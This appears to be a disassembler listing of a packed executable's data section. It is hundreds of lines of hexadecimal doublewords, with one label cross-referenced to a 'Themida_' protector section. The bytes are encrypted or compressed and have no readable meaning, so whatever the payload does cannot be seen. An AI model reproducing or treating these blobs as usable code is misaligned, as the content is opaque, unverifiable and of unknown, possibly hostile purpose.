8C87EA93h dd 7135F167h, 7FEE90EBh, 0DDCB1282h, 94BBECB6h, 8FD9ED1Ah dd 44399469h, 24DB1566h, 65321566h, 8C34EBEh, 998F967Ah dd 2235F148h, 11A59069h, 2521566h, 93851A8Dh, 0FB7D307h dd 5635F14Ah, 46E29506h, 2552749Fh, 501F720Eh, 0F9527586h dd 88321560h, 0E70D4A11h, 0D76C2ABCh, 0E2B87507h, 0E9537406h dd 4422FC06h, 6ADE1566h, 2F116CCCh, 0FE7914F5h, 16370B08h dd 0DD53C7F0h, 0F53388D3h, 0DBFED61h, 43D62EBAh, 223E9469h dd 77521566h, 0F7BE3E7h, 8AD53ADDh, 0F2CD745Bh, 11321F8Fh dd 0B9E5F566h, 8FC08354h, 0ABE8A238h, 0FACA95E3h, 99DB7561h dd 0EF321566h, 3DCAE652h, 0CE5ECFF8h, 0BD0EB78Eh, 5B0C62ACh dd 0FB7D307h, 5635F14Ah, 88349A69h, 17521566h, 4353753Ch dd 0A2837D9Eh, 0EE529B4Fh, 0FD4BF7E7h, 2234FC06h, 3A4A1566h dd 0CEC45004h, 0F1CD7407h, 25D614FBh, 77EA9E06h, 1A4EFEE7h dd 98B79807h, 2D35F15Dh, 113206E4h, 883CFC66h, 69661566h dd 4AB2A879h, 82370CCCh, 0CF5C04F0h, 0CB3DC599h, 22321574h dd 1132188Fh, 0AF8F1166h, 82CEDE0Eh, 38CA5D9Ch, 9052C5D6h dd 47EDD7A7h, 4439FD57h, 0AD0F1566h, 605A9856h, 8059A243h dd 4438FD2Eh, 0DE1566h, 0C763926Fh, 77C15C19h, 0CD534A3Eh dd 0C9CA91E3h, 94F4E061h, 8FD6394Bh, 0E35AE025h, 0DEF2632Ch dd 10AFA099h, 0F3D1282h, 44321567h, 0FEB79893h, 1E35F15Dh dd 883214E8h, 94CDE066h, 20BF1A06h, 9A321566h, 8837FDB1h dd 0BD571566h, 0CA2B7D03h, 11321569h, 0A202438Fh, 7E37E3C4h dd 6753CB29h, 4B09F015h, 1CE7439h, 0AFCA9DE3h, 2234FC61h dd 85DA1566h, 4BDA2383h, 4432078Fh, 0A57D4C66h, 0C89141A1h dd 5065FAD1h, 0B9366D02h, 0E4515426h, 0F51E38E3h, 80DB5961h dd 0FD321566h, 647CB734h, 790EDDC3h, 7354798Dh, 0A587EA9Eh dd 2D35F17Bh, 113214E3h, 0DBFEC66h, 43D62EBAh, 2237FC06h dd 5DF21566h, 0EED8730Fh, 810AC3E7h, 28BC1A07h, 71321566h dd 7EB37406h, 6FE32524h, 0CBE2EA07h, 1132156Dh, 0A15765C0h dd 0DEBE5733h, 0AB3DCCEDh, 0FACB09E3h, 8838FC61h, 100A1566h dd 0D1B45A34h, 8A1E2BD4h, 0A41F90A0h, 0B1761282h, 51BC400Eh dd 10BD1ADDh, 71321566h, 45AFA099h, 2D521282h, 9C53D5D1h dd 6C09C9E3h, 51B81A61h, 42321566h, 11329C69h, 8FDA1566h dd 8E321566h, 0F3D4F538h, 706CBFB7h, 87DBC599h, 0DC321566h dd 3C65A0FFh, 6ED77A2Ah, 0F29405E8h, 0C1BBC61Fh, 25D9EDEAh dd 113DFD06h, 4FDA1566h, 0DE658449h, 3E192702h, 60E0553Eh dd 528D1AE9h, 45B21A3Eh, 0DE321566h, 1DBA1A07h, 87321566h dd 443213E4h, 22B61A66h, 0D7321566h, 6C1E38E3h, 56DB5661h dd 0CF321566h, 24962FBEh, 940012C4h, 0DEDBB3F7h, 8CAEDA0h dd 7FCE7D5Ch, 77CEA9E8h, 0A03388D3h, 223CFC61h, 714B1566h dd 0ADE9387Eh, 9C661B7Fh, 0E2A93FDDh, 2AEE90EBh, 70CB1282h dd 0CDC7C599h, 0C9CA85E3h, 0EB51A61h, 87321566h, 44320CEDh dd 2226FC66h, 40561566h, 9C2F8473h, 623A3C68h, 4528CC5Ah dd 329BBD72h, 0DF4B408h, 43D6394Bh, 0CB52E935h, 1132156Eh dd 0CB816134h, 0B1B9C3E3h, 4A53DEEDh, 0D7222BCCh, 0D0CB4706h dd 0D987EA07h, 0CB35F167h, 1132156Bh, 66F9774Fh, 1C34E5A9h dd 958FF9Ch, 0CDB79892h, 0E835F15Dh, 44321C8Fh, 0D2369866h dd 2EC31543h, 87DBAC63h, 48321566h, 91742176h, 8DAE9F3h dd 0E105CF0Dh, 0BB539C89h, 34B31AB6h, 0F8321566h, 88321577h dd 7DF89A31h, 9E7C4D0Ch, 25359176h, 2B09FB59h, 0C1BBEC50h dd 25D9EDF2h, 42E99406h dd 37957E1h, 0F9B1749Fh, 25D6383Bh, 0B61A66h, 87321562h dd 44321FEDh, 2237FC66h, 82BC1566h, 61927F37h, 44321572h dd 0C226AAFAh, 0AF80665Ah, 4C956705h, 32D33A71h, 50F7C952h dd 3D1F90A0h, 61741282h, 44321577h, 0C64FA36h, 48A8DF40h dd 0F442B248h, 39031DACh, 0EC037D3Fh, 3DBEFF0h, 34321566h dd 0E704BB9Fh, 0B9AA4965h, 231BD78h, 0D5E99040h, 0D987EA39h dd 0DA35F167h, 2AEE90EBh, 0B3D1282h, 44321575h, 22321B8Fh dd 8100C666h, 0CB5C40CBh, 0E57A670h, 42D7C52Fh, 7094F3E6h dd 0EE52C599h, 4BDBCCEDh, 16321566h, 802AE1C6h, 0C8ED81ECh dd 0AC6D1F35h, 2D537844h, 113219E3h, 858C7566h, 0FF7D0316h dd 44CAB1A8h, 0E1B79C07h, 6135FE9Eh, 44321568h, 90737464h dd 27495ED2h, 1D992E50h, 0C1F4AD62h, 25D6394Bh, 1126FC20h dd 0EB381566h, 0F3B1B8B8h, 0DEBD2C8Fh, 0CF5234Ch, 0BCD970DCh dd 925A96D5h, 42CEB25Ch, 11349869h, 63D1566h, 44321566h dd 22329869h, 0F8531566h, 8832156Dh, 96E1FC27h, 29D83074h dd 0EE362F5Eh, 6C3388D3h, 0C1BFED61h, 25D62EBAh, 113E9E69h dd 0C3D1566h, 44321560h, 22329A69h, 0C1CD1566h, 88359969h dd 0CF3D1566h, 22321567h, 11B79C9Eh, 0E835FE9Fh, 0B0C09400h dd 0A5B0AC00h, 0D7532019h, 6C1E38E3h, 50DB5361h, 0CF321566h dd 0C3F7374h, 0AE58B21Eh, 0EEA18CE8h, 0C3AB49F4h, 1EDFE7DEh dd 883211E9h, 1F617566h, 86327D07h, 9D3D879Ah, 88321567h dd 0D987EA9Eh, 4235F167h, 7029C4E6h, 0B3EE90EBh, 0CD3D1282h dd 2232156Dh, 11B31A06h, 0EE321566h, 0BB53D4EDh, 223BFCB6h dd 0E60E1566h, 6A37FB87h, 0CD628478h, 0C9CB11E3h, 0AE547561h dd 4E53548Bh, 0A01E38E3h, 0A03D5361h, 1132156Fh, 53851A06h dd 0E1CAAD00h, 33B01A07h, 0F8321566h, 8832156Ah, 864BBE59h dd 0F2026970h, 0DB9C1044h, 5C7D7F0Eh, 443EFC90h, 0D1FD1566h dd 14D206C3h, 0FFF29482h, 0BBC7BA52h, 0C63388D3h, 113FFC61h dd 0AF681566h, 0ADCC26A9h, 87044D24h, 1E0F115Eh, 883219E0h dd 42B01A66h, 2D321566h, 113215E9h, 54B79866h, 4B35F15Dh dd 223204EEh, 1ABB1A66h, 61321566h, 44321560h, 8902C8DDh dd 0C1CD214Eh, 88339169h, 0CDCB1566h, 0C9CB1DE3h, 1122FC61h dd 9C621566h, 0B4527475h, 87671F67h, 4779B4A3h, 0DF42054h dd 43D6394Bh, 3AB91A20h, 0F8321566h, 88321575h, 59938ACCh dd 87324C82h, 71DF4064h, 9CAB1C2Ah, 2CAE000Ch, 0B6FF4581h dd 11389F69h, 8DDB1566h, 3C321566h, 0A2B45F66h, 10AFA099h dd 53D1282h, 44321561h, 0F06FAD06h, 9C532040h, 6C09C9E3h dd 4434FC61h, 0B7A1566h, 0B4BAD014h, 0EEEA9E06h, 0BCDCF7E7h dd 42E2EA07h, 11321B8Eh, 0B8D15B66h, 38EFDA97h, 76A00747h dd 91E8482Ah, 96826ADh, 0DC2A5EB9h, 0A7BB747Ah, 16D9ED92h dd 0A5B7D393h, 235F14Ah, 223C9C69h, 18DB1566h, 0CF321566h dd 84D6ABABh, 807C93D6h, 11339669h, 0E0C71566h, 0F510615Dh dd 2232128Fh, 0BD053266h, 0E79E6CCBh, 45AFA099h, 0A03D1282h dd 11321571h, 8832078Fh, 34885366h, 1513CECFh, 6DF25590h dd 21B655Ch, 0BD299C7Ah, 19EE90EBh, 1BDB1282h, 2C321566h dd 63034788h, 7BC3A74Ah, 71E2EA2Dh, 0DBE3A269h, 256DDAD4h dd 0DACA90EFh, 18DB128Dh, 7E321566h, 89D3E1E1h, 0E2993DCEh dd 3D1F90A0h, 61741282h, 44321575h, 24559E0h, 52EAD969h dd 8016D5BEh, 0EBBF943Dh, 4A401E32h, 0CE4BFF8Bh, 88339D69h dd 0BBC71566h, 0C63388D3h, 10B41A61h, 7D321566h, 7FEE90EBh dd 36DB1282h, 9A321566h, 6484553Ah, 0DF601D63h, 0C5C2C3CEh dd 0ECE471Dh, 0E8F5A7D4h, 8A851A9Ah, 2DE2EA07h, 113219E5h dd 1A897566h, 2258C394h, 1726F4E7h, 0EDB79C07h, 7D35FE9Eh dd 6AEFA8E5h, 2D321282h, 113275E3h, 0DB647566h, 4BDB4B3Eh dd 45321566h, 9DE048B2h, 0C62E14ECh, 0BB6BD8FEh, 0E4530FC5h dd 0F51E38E3h, 0E0CB4661h, 8A8CF538h, 22339469h, 0EECA1566h dd 6C3388D3h, 4FB61A61h, 0CB321566h, 11321560h, 8108D22Bh dd 0C1BF59E9h, 25D62EBAh, 1132138Fh, 0BC727F66h, 0BB4B0C50h dd 0A7BBEDB6h, 16D9EDFEh, 0A5B7D39Ah, 335F14Ah, 7CB57D9Eh dd 0EECBD2D7h, 6C3388D3h, 443FFC61h, 0F1E31566h, 70A59ABCh dd 32D2775Ah, 0C98F3D2Ch, 0C609C9E3h, 943DE961h, 88321567h dd 4BE2EA9Eh, 223214EFh, 9D3DE966h, 88321567h, 0D8B79C9Ah dd 2D35FE9Eh, 113214ECh, 35B1EC66h, 43D63BBBh, 51B71A66h dd 0E8321566h, 0E9C59E06h, 681F90A0h, 0CB751282h, 1132156Fh dd 0DFFCA161h, 0AE0FF6D7h, 5C377D95h, 7152F304h, 7BB97406h dd 0FC544607h, 436914FEh, 10AFA099h, 9ADB1282h, 91321566h dd 65412A49h, 0DA61BA64h, 513E1C5Fh, 0BEAD086Ch, 223FFCA1h dd 94DF1566h, 0AB43AB36h, 47091B50h, 0AF8C6892h, 0F509C9E3h dd 3F3D7561h, 25EB9F9Eh, 0ABCAC599h, 0FACAB5E3h, 0DF4E961h dd 43D6394Bh, 2ADBE025h, 4D321566h, 438F953Eh, 2CA0F495h dd 0B0481C90h, 11229F69h, 83DB1566h, 64321566h, 2A585C12h dd 0D97E6437h, 3DCD9ABBh, 43D614FBh, 22339F69h, 9CCA1566h dd 6C09C9E3h, 94CDE061h, 86B79C9Eh, 7135FE9Eh, 914AAB00h dd 69B7D307h, 6135F14Ah, 11339D69h, 0E0CB1566h, 0B8138246h dd 22349869h, 46521566h, 0E9E19E3Fh, 442B9A69h, 36DB1566h dd 0B9321566h, 894959ACh, 0ED928A05h, 17D51F0Dh, 6AAC1B65h dd 77F6C6FDh, 0A03388D3h, 0CA52ED61h, 11321575h, 0BFB6D59Eh dd 43A52005h, 9B99EAF7h, 0BF34CB3Ch, 0D2831F23h, 98B79807h dd 0CB35F15Dh, 1132156Bh, 27819548h, 3675B6BCh, 0B9AB1305h dd 0F8E2EA0Fh, 88321575h, 0C37D4CDBh, 0FB9141A1h, 0C965FAD1h dd 75366D02h, 0CD515426h, 0C9CABDE3h, 0ACB1E061h, 8FD63BBBh dd 6CB71A66h, 0CB321567h, 11321575h, 25180851h, 0CE371331h dd 38B2EAE6h, 9836510Eh, 4EC253D5h, 0A01E38E3h, 25DB5661h dd 2B321566h, 0BA48FC20h, 475A90B7h, 2DB915CEh, 113214EBh dd 3DCDE066h, 43D614FBh, 22229469h, 1ADB1566h, 0E321566h dd 0DF66EAD2h, 44131D3Ch, 94BF6C34h, 8FD62EBAh, 4BE2EA9Eh dd 22321BEEh, 113BFC66h, 0CAB51566h, 2055BFB0h, 0AB39A34Fh dd 0FACAA5E3h, 8821FC61h, 0ADC91566h, 0B465E8A3h, 0B2FD82ABh dd 8DD16C8Ch, 0DC608A23h, 223EFCA7h, 7BBD1566h, 327D43B8h dd 39694159h, 0A7F426ADh, 16D6394Bh, 38CE7525h, 915A74C1h dd 2DD74E50h, 113200E9h, 8822FC66h, 1F821566h, 0E3C1BE0Fh dd 7A3480FBh, 8E236B6Fh, 0F1CD42C9h, 25D614FBh, 34F69506h dd 88B91A35h, 1F321566h, 0A7BFED07h, 16D62EBAh, 81DAEC06h dd 0B6321566h, 88BEE777h, 0EC1EDD53h, 88329769h, 256A1566h dd 2D52C599h, 113214E7h, 153E966h, 0AFCAB9E3h, 36B61A61h dd 0F8321566h db 69h, 15h, 32h byte_60351B db 88h ; DATA XREF: Themida_:005851C0o dd 3D176E96h, 0EF5E0512h, 4EE91A63h, 4EA8C9D5h, 0A01E38E3h dd 4ACB5661h, 0FB982787h, 88321A8Fh, 8229AB66h, 40DC6139h dd 7D55378Ch, 0ACA097BCh, 0D987EA9Ah, 0CB35F167h, 11321577h dd 0B91D729Dh, 31958C9Ch, 7E6B0D4Ah, 0CBB8A2E8h, 54B79856h dd 4B35F15Dh, 223210E7h, 0A63D7566h, 58CD74ADh, 4432138Fh dd 0F3093166h, 0F8C67B8Ah, 88321569h, 0B9B6C3B2h, 6F5F06A6h dd 5C95344Dh, 1A6C20Bh, 0AFCAA1E3h, 3FBA1A61h, 1E321566h dd 883202E2h, 4420FC66h, 0A3721566h, 940F6162h, 0D213A106h dd 88F1F890h, 0D59EB44Ah, 3D1F90A0h, 70711282h, 0B59E220Eh dd 223AFCE2h, 81B91566h, 7D7021CAh, 0F1CD204Ch, 25D614FBh dd 0CDB7989Ah, 7135F15Dh, 0CA3DC599h, 22321567h, 0A9B79C9Ah dd 7035FE9Eh, 681F90A0h, 0DB7D1282h, 24A2C10Eh, 3DCDECF1h dd 43D614FBh, 2232068Fh, 78B74966h, 3F44F74Bh, 6C48AA64h dd 0B52E2D2Bh, 95AB8C02h, 0B3EE90EBh, 4EDB1282h, 6D321566h dd 86002DB5h, 5534CA4Ch, 54B61ACBh, 0CB321566h, 1132156Dh dd 0B4E98B08h, 3FEB9A5Ah, 0DDE5853Ah, 113EFCB6h, 6D341566h dd 4467E276h, 0B5F43627h, 94BBD7F8h, 8FD9EDDAh, 69B7D39Fh dd 6D35F14Ah, 1132048Fh, 0D6F47D66h, 0F6701E62h, 6BD08BD1h dd 36DE4D5Eh, 8A5A80C7h, 4BCB7B68h, 22321DE3h, 13B51A66h dd 0E8321566h, 0D987EA07h, 4235F167h, 9A54D2EDh, 0DBF74BFh dd 43D62EBAh, 0DBFD9E06h, 0F8E2EA07h, 88321568h, 0AC08D10Ah dd 1EAAF251h, 31ADF62Dh, 0DBBEF01h, 43D9EDA6h, 0FB7D39Ah dd 5C35F14Ah, 0F17B7D9Fh, 24CBDD51h, 43CDA269h, 10AFA099h dd 9BDB1282h, 0D6321566h, 50C072CEh, 0A6B48E06h, 332BCD74h dd 21C6FEC3h, 0A7BF40C3h, 16D62EBAh, 88229469h, 4FDB1566h dd 0C1321566h, 8B920FAEh, 0E13024A1h, 94CD5EEAh, 0EAB79C9Eh dd 7135FE9Eh, 88321F8Fh, 61DA0D66h, 32DC676Eh, 0A4369220h dd 0DF474B8h, 43D6394Bh, 0CCB8752Bh, 11321B8Fh, 0E9388066h dd 0C6C0425Fh, 20E961DCh, 70773A1Dh, 7F7F9C0Eh, 4437FCBAh dd 86F91566h, 0EE5F7AC2h, 6C3388D3h, 0C9CAEC61h, 0C609C9E3h dd 1138FC61h, 19D11566h, 44610345h, 75FE09B9h, 0F952C599h dd 88321574h, 7D68C72Dh, 0EFC898BCh, 2A57DFD5h, 7AE55ED6h dd 4B6CF964h, 223213EFh, 11B41A66h, 0E9321566h, 0BCF690EFh dd 36DB128Dh, 0D2321566h, 7ABFD780h, 4A61036h, 4B9774D8h dd 0E14E436Bh, 4E6D564Bh, 0A01E38E3h, 42524061h, 1132068Fh dd 0CFCB0266h, 308A569Eh, 12348DA7h, 0DBBE879Ch, 60EFB65Eh dd 30ACFFE7h, 0DB536606h, 3C057D07h, 8752897Dh, 443214E1h dd 0A954E066h, 0A4CD749Fh, 8FD614FBh, 44359469h, 0AF3D1566h dd 11321567h, 54B7989Ah, 2435F15Dh, 0A350D1E6h, 851D0AEh dd 58CD7418h, 44321A8Fh, 0A2ABC866h, 66E5E352h, 55721C23h dd 0C243BE11h, 0DAFE90EFh, 983D128Dh, 8832156Ah, 44349E69h dd 0A43D1566h, 11321566h, 0A41F90A0h, 0AD711282h, 22321574h dd 0A201E7C8h, 1627E936h, 0D21A9816h, 0D5CD186Eh, 3B5A2A4Ch dd 7DE0C096h, 45AFA099h, 0AFCB1282h, 0F509C9E3h, 883DFC61h dd 0BBDF1566h, 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 94CDE059h dd 22359769h, 933D1566h, 88321567h, 94B79C9Ah, 0DA35FE9Eh dd 3D1F90A0h, 7D601282h, 4432018Fh, 51BAC666h, 8B29A7D8h dd 3963DD46h, 35688F33h, 627E9CE1h, 0A5D87DA0h, 80DBE824h dd 0F7321566h, 8DF9BCA6h, 0EEE01264h, 6C3388D3h, 4439FC61h dd 1A5B1566h, 0B361AD1Eh, 0F4BA2323h, 98B79844h, 0CB35F15Dh dd 1132156Fh, 8F67E976h, 0B043FCD9h, 0CBE2EADDh, 1132156Dh dd 0B4A59146h, 0B6E2F53Eh, 0AB9AE7D3h, 0F5139CE3h, 40B97561h dd 4435FC06h, 50921566h, 0AA6F8A50h, 5357AADFh, 2553271Fh dd 0E1F90A0h, 71751282h, 0A2968CDEh, 4AB01A6Bh, 0CA321566h dd 1132156Eh, 8C072B8Bh, 498D5EBEh, 0BB5A743Fh, 0F8D08D3Fh dd 8832156Dh, 0CFFE250Eh, 334DFB5Dh, 7114C473h, 7EB37306h dd 50DA4453h, 75321566h, 0B9EA0E0Eh, 0B36F0A6Bh, 0F6EEDEEEh dd 0B9760827h, 4E87470Ch, 8CB61A07h, 22321566h, 4371D3D8h dd 10AFA099h, 93D1282h, 4432157Fh, 22219869h, 1FDB1566h dd 91321566h, 8EBC4CDCh, 5AC73D14h, 3EA64FA9h, 54B79862h dd 0AD35F15Dh, 22321569h, 895EF8CFh, 1E66D9ADh, 109311FAh dd 0DDF505B3h, 113DFCB6h, 0A66A1566h, 69E14756h, 8F411852h dd 0EC352660h, 5CB79C77h, 4B35FE9Eh, 22320BEEh, 0DB7566h dd 2F321566h, 7DA70BD8h, 0A41F5085h, 0B84ABA87h, 95A1EFF5h dd 44329469h, 0E4531566h, 0F51E38E3h, 86DB5261h, 26321566h dd 7CED67CDh, 0E3FD1585h, 0EF2BF94Ch, 57B51A0Bh, 0CB321566h dd 11321568h, 0D173C3EDh, 501B979Dh, 859883DCh, 0D35ADCEAh dd 7483E806h, 45AFA099h, 2DDB1282h, 60321566h, 167DEF31h dd 2D9C77ACh, 0A7C80066h, 94BFDC01h, 8FD62EBAh, 4432078Fh dd 7A202266h, 56323E00h, 0E6EC276Fh, 2DA04C90h, 0DDC43F5Ah dd 19BC1AB6h, 87321566h, 443217E4h, 0AB537566h, 0FACACDE3h dd 80B51A61h, 4B321566h, 223217E4h, 0D7537566h, 6C1E38E3h dd 2CCB5261h, 0FD94EB72h, 1132018Fh, 0CC215C66h, 7951AA27h dd 0E4D7B10Ch, 29491097h, 2855236Ch, 4423FC07h, 7BA61566h dd 0F03800B6h, 0DE2EBC6Dh, 75C6C2ABh, 0DD4DA0D7h, 0F53388D3h dd 8822FC61h, 1F0C1566h, 9FD73049h, 0BC8F4F78h, 19EB7046h dd 4ADB70BFh, 0E321566h, 124D45CAh, 61E07DFEh, 7822F168h dd 0FEB79865h, 0E935F15Dh, 73D7506h, 44321566h, 0F62CAF00h dd 1126FC07h, 714A1566h, 0AF003194h, 0F64984ADh, 0FD0845E7h dd 5CB26C6Fh, 0BB53D812h, 2226FCB6h, 1CCC1566h, 0E54158C3h dd 0ECE445CBh, 7B5642EDh, 0CC0AE1E6h, 0EE527AD9h, 0E1ABCCE7h dd 2232188Eh, 0F97E66h, 0C955982Fh, 735FB89Eh, 43527BB4h dd 94BB7438h, 8FD9EDBAh, 44B21A06h, 43321566h, 3D1F90A0h dd 876D1282h, 443214E1h, 4A5AE066h, 1EAC4594h, 88321AE3h dd 42DB7566h, 0E6321566h, 0C25B66EFh, 0E9537534h, 45AFA099h dd 0AD3D1282h, 11321567h, 54B7989Fh, 0BC35F15Dh, 4452C599h dd 0AE3F69DEh, 0E8488D7Ch, 0A4B79C07h, 0CB35FE9Eh, 11321577h dd 474307E0h, 6D233E3Bh, 1858863Fh, 1852C538h, 0A5B7D333h dd 0B35F14Ah, 22321F8Fh, 4F36D666h, 0D194D41Ch, 0ADD2CE04h dd 22321577h, 5BC58A36h, 0DD7ED985h, 3CD032F1h, 0E7CFC684h dd 6A0D7DEFh, 63DD29Ah, 4432156Ch, 0A3CAA306h, 4FDB3196h dd 3DCD7476h, 43D614FBh, 223CFC93h, 572E1566h, 91990A8Dh dd 955C4642h, 49080C4Fh, 2AEE90EBh, 36521282h, 65AAE612h dd 7D537530h, 8B11A07h, 61321566h, 44321572h, 0DD396AEEh dd 5400B03h, 69CCEE13h, 0EE4312D1h, 0F0F560DEh, 963DC599h dd 88321571h, 4432078Fh, 0AACA6366h, 0D1234598h, 0F669E81h dd 6E5CDFD4h, 0AB5FF836h, 0FACB19E3h, 0EE52E961h, 253B67DEh dd 0E1F90A0h, 71751282h, 88349969h, 0CF3D1566h, 22321566h dd 11321F8Fh, 3EC7B366h, 670C26E9h, 4385C0B3h, 0A3C99E06h dd 0C45A747Ch, 0BCC84E08h, 23AFA099h, 9CC71282h, 6C09C9E3h dd 4422FC61h, 85FD1566h, 0E7E0BAFDh, 8CB9393h, 5DAA2F32h dd 0F2CD579Dh, 11349869h, 3521566h, 25EB9EA9h, 0DB2290EFh dd 9F3D128Dh, 8832156Eh dd 44309F69h, 43521566h, 3D1F90A0h, 0E8751282h, 0FC288EDFh dd 3AC6952Ah, 35FF7D07h, 77C7D660h, 0A03388D3h, 0DECB7561h dd 0CDB79807h, 6135F15Dh, 4432156Dh, 0C6B3354Fh, 67D1C1EBh dd 777EA490h, 48B01AB6h, 42321566h, 0D4BDAE00h, 88329169h dd 0CD531566h, 0C9CB01E3h, 10B91A61h, 70321566h, 681F90A0h dd 426D1282h, 58887306h, 498D1A81h, 4435FD07h, 0D4021566h dd 0DF828DDDh, 883CFDFDh, 66651566h, 4A7A834h, 9B651481h dd 6A7401Ch, 2C534B39h, 0F68975AAh, 113B9569h, 2521566h dd 0E887ACA7h, 0DD536269h, 0F53388D3h, 0DBFED61h, 43D62EBAh dd 0D7E2EA9Eh, 0E9D690EFh, 4ECE128Dh, 0A01E38E3h, 0AD3D4A61h dd 1132157Dh, 3CFD9506h, 4432058Eh, 18525E66h, 9A485DFAh dd 45C6069Fh, 3220C81Bh, 4A534B01h, 8FDB4128h, 63FA9406h dd 0F7383A57h, 97CD74DBh, 16D614FBh, 88389269h, 24521566h dd 0B1C39407h, 7030DFF8h, 88219D69h, 4ADB1566h, 32321566h dd 0D3F3EBBDh, 0B922DA68h, 0D708E473h, 0FEB7983Bh, 0F835F15Dh dd 88321560h, 87AB0BFCh, 0F2CD55BEh, 0D2B84406h, 1CA7439h dd 0AFCAFDE3h, 2223FC61h, 0E6A21566h, 990644B3h, 0E62C001Ah dd 0E0F8EBC4h, 0D76F726Fh, 6C1E38E3h, 24524A61h, 22321D8Fh dd 223EEE66h, 136B3443h, 0BEB9734Fh, 43E49E07h, 21A5D0Eh dd 8820FCB7h, 3CDF1566h, 20D39671h, 6387675Fh, 0A1DF419Fh dd 0E14A2E0Bh, 2222FC06h, 1D261566h, 86A5239Ch, 0B77ACEECh dd 0C1C3E9AAh, 0EE53409Bh, 6C3388D3h, 443AFC61h, 0C3231566h dd 93DE5026h, 0DBF8182h, 43D62EBAh, 223BFC06h, 0DDC71566h dd 0D0B195B8h, 22ADB437h, 437EF5D9h, 0F852C599h, 8832156Fh dd 464001C7h, 0F745F20Ah, 18DB46B7h, 37321566h, 74C9226Ah dd 53D0E3BFh, 94BB743Ch, 8FD9ED8Ah, 4B367F9Ah, 223201E2h dd 113DFC66h, 0B8381566h, 0CB3C9758h, 0C5CE6F1Dh, 1747B461h dd 98327D2Dh, 2CCA1566h, 22320566h, 11269269h, 83D1566h dd 44321568h, 22321C8Fh, 0AE8B2366h, 0C653E4Dh, 44586C4Ah dd 53A7EA9Ah, 1E35F17Fh, 883200E0h, 4422FC66h, 0D13E1566h dd 7080A936h, 6A344FB7h, 0C9FDB407h, 0A7BBED7Bh, 16D61B5Fh dd 8832078Fh, 1D026E66h, 0F7EFABE2h, 0C991D089h, 0FB917346h dd 24849F8Dh, 22321D8Fh, 0BA864766h, 641CD7Ah, 0C953E99Ah dd 0C9955FE3h, 113EFC61h, 79371566h, 3288E1ECh, 27FD3C19h dd 0EECA47EFh, 4A8375B6h, 4432058Fh, 6DFB2566h, 85C23811h dd 0A6CA792Bh, 24A1376h, 0AD3D74D9h, 11321567h, 74367F9Ah dd 4422150Eh, 0D0B27566h, 3857AE97h, 715308CFh, 4412150Eh dd 0A13D7566h, 11321562h, 0D2FDAD00h, 0BD327F07h, 3B438099h dd 0F9521282h, 88321572h, 0A2B8AE9Eh, 0F886161Dh, 0A243BB5Ch dd 321301A8h, 49269F77h, 0A86C4A37h, 94BB74A5h, 8FD60E8Fh dd 4432078Fh, 87E1FF66h, 5BE437D5h, 963E6DFAh, 0ACD6737Dh dd 0AB5F4857h, 0F50118E3h, 0C858EC61h, 0A9897306h, 0E2A3AB7Fh dd 79534190h, 88320566h, 4438FC06h, 55CF1566h, 5F32492Dh dd 0A7339A12h, 99DD9400h, 225A742Dh, 1E321466h, 883214E4h dd 4458E966h, 0C38C4606h, 4E35612Ch, 2BBD9DD8h, 2252742Bh dd 1DAED4E7h, 52887306h, 42B3732Bh, 25539391h, 3B438099h dd 16DB1282h, 0E6321566h, 21C2D114h, 0A7BB73CFh, 16D60E3Bh dd 6DFD9406h, 4B76C652h, 223215EFh, 0A4B97466h, 8FD61A2Fh dd 0DDAF9E93h, 4235F172h, 96F9AFD8h, 0F5D0AD47h, 2453782Ch dd 0CCEC9400h, 0CAB37378h, 153CF6Dh, 0A02AFCD3h, 223FFC61h dd 0E2E31566h, 45942861h, 1662BCC1h, 0ABA40655h, 0F51F5CFBh dd 89BA1A61h, 0BD321566h, 2232018Fh, 0FF851766h, 70AC65h dd 156D9CAEh, 7EDC1378h, 0C7D91AF3h, 11AF9E07h, 0AD35F172h dd 2232156Fh, 0B302CB1Ah, 71F50792h, 0CF01EA71h, 0E6B3316Ah dd 11321562h, 88321B8Fh, 0CD37DA66h, 0A0BF4734h, 0FE8D489Dh dd 0BB73069h, 0C03D159Fh, 22322C82h, 11339169h, 0DDCB1566h dd 81B3F0EFh, 22321562h, 9636F8E5h, 16E314Ah, 4EDB3162h dd 0DC321566h, 2D8BE02Dh, 0AA2D797Ch, 4434FC6Ch, 8B971566h dd 0ABE124C0h, 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h dd 0E8CB316Ah, 7553E906h, 223AFCA6h, 0D1AD1566h, 8C4E7F83h dd 0C1BBF5E7h, 25D607B7h, 113A9B69h, 33D1566h, 44321564h dd 1E5A7406h, 9A321566h, 4CB33152h, 44321562h, 20BA1A06h dd 71321566h, 4EB37407h, 205969BAh, 7582FBE7h, 65314163h dd 4EB33542h, 103742D6h, 5EEEFBE7h, 77CB710Dh, 0E937E9CBh dd 47158949h, 75123122h, 8D1D74D9h, 0D7CA3C41h, 44321B8Fh dd 0BE6FD366h, 7AF57193h, 0C1420F5Eh, 0BB5DDDD8h, 16B36D16h dd 4B378642h, 31634B46h, 39EB313Ch, 0A37B542Fh, 6E2CD38Fh dd 0D1FC243Bh, 17EB9E06h, 42534B9Eh, 0B5A1AB35h, 0E96D2341h dd 2D84D3E7h, 0CCB37EBAh, 335374F5h, 0A8166165h, 25A1D3E7h dd 0CCB33707h, 7AEE7CD0h, 8835FD06h, 3AF21566h, 72A8BEECh dd 37F1945Bh, 0D77DB976h, 0BB5375D7h, 26B30D10h, 9D2EA442h dd 0AC0E9E42h, 4436D1E7h, 0CDB31566h, 35BE09D7h, 88359969h dd 0C03D1566h, 22321567h, 9A547593h, 35BB74A0h, 43D61153h dd 0DAB97306h, 1ECD9007h, 88327CE3h, 4422FC66h, 0BD6F1566h dd 687AA45Ch, 0A64FF117h, 1F8992A5h, 3FDA93ECh, 71321506h dd 83DBDCD4h, 0A3321566h, 20F32B87h, 0FA15133Fh, 61533A88h dd 44321574h, 1E3B9C6Ch, 750C2F2Ch, 0ACB0B9F0h, 7BCD9024h dd 3FDBCD65h, 1E321563h, 88320CEEh, 4426FC66h, 4BF81566h dd 0E8D5DBE2h, 3423E191h, 2C56DD9Bh, 90302598h, 665A2311h dd 1321537h, 13CE316Ah, 0A11601EDh, 0A85211A2h, 0BA1797A7h dd 4432128Fh, 934B1D66h, 29BEDABh, 8CE07E07h, 4432018Fh dd 1E9AC466h, 0D68529Dh, 99AC915Fh, 0AADAAE40h, 71636F28h dd 84BBE9E3h, 8FD63AC7h, 44249569h, 93521566h, 113FFC35h dd 84B31566h, 755CAB7h, 0E123B03Fh, 70B79076h, 98DB110Ch dd 14321566h, 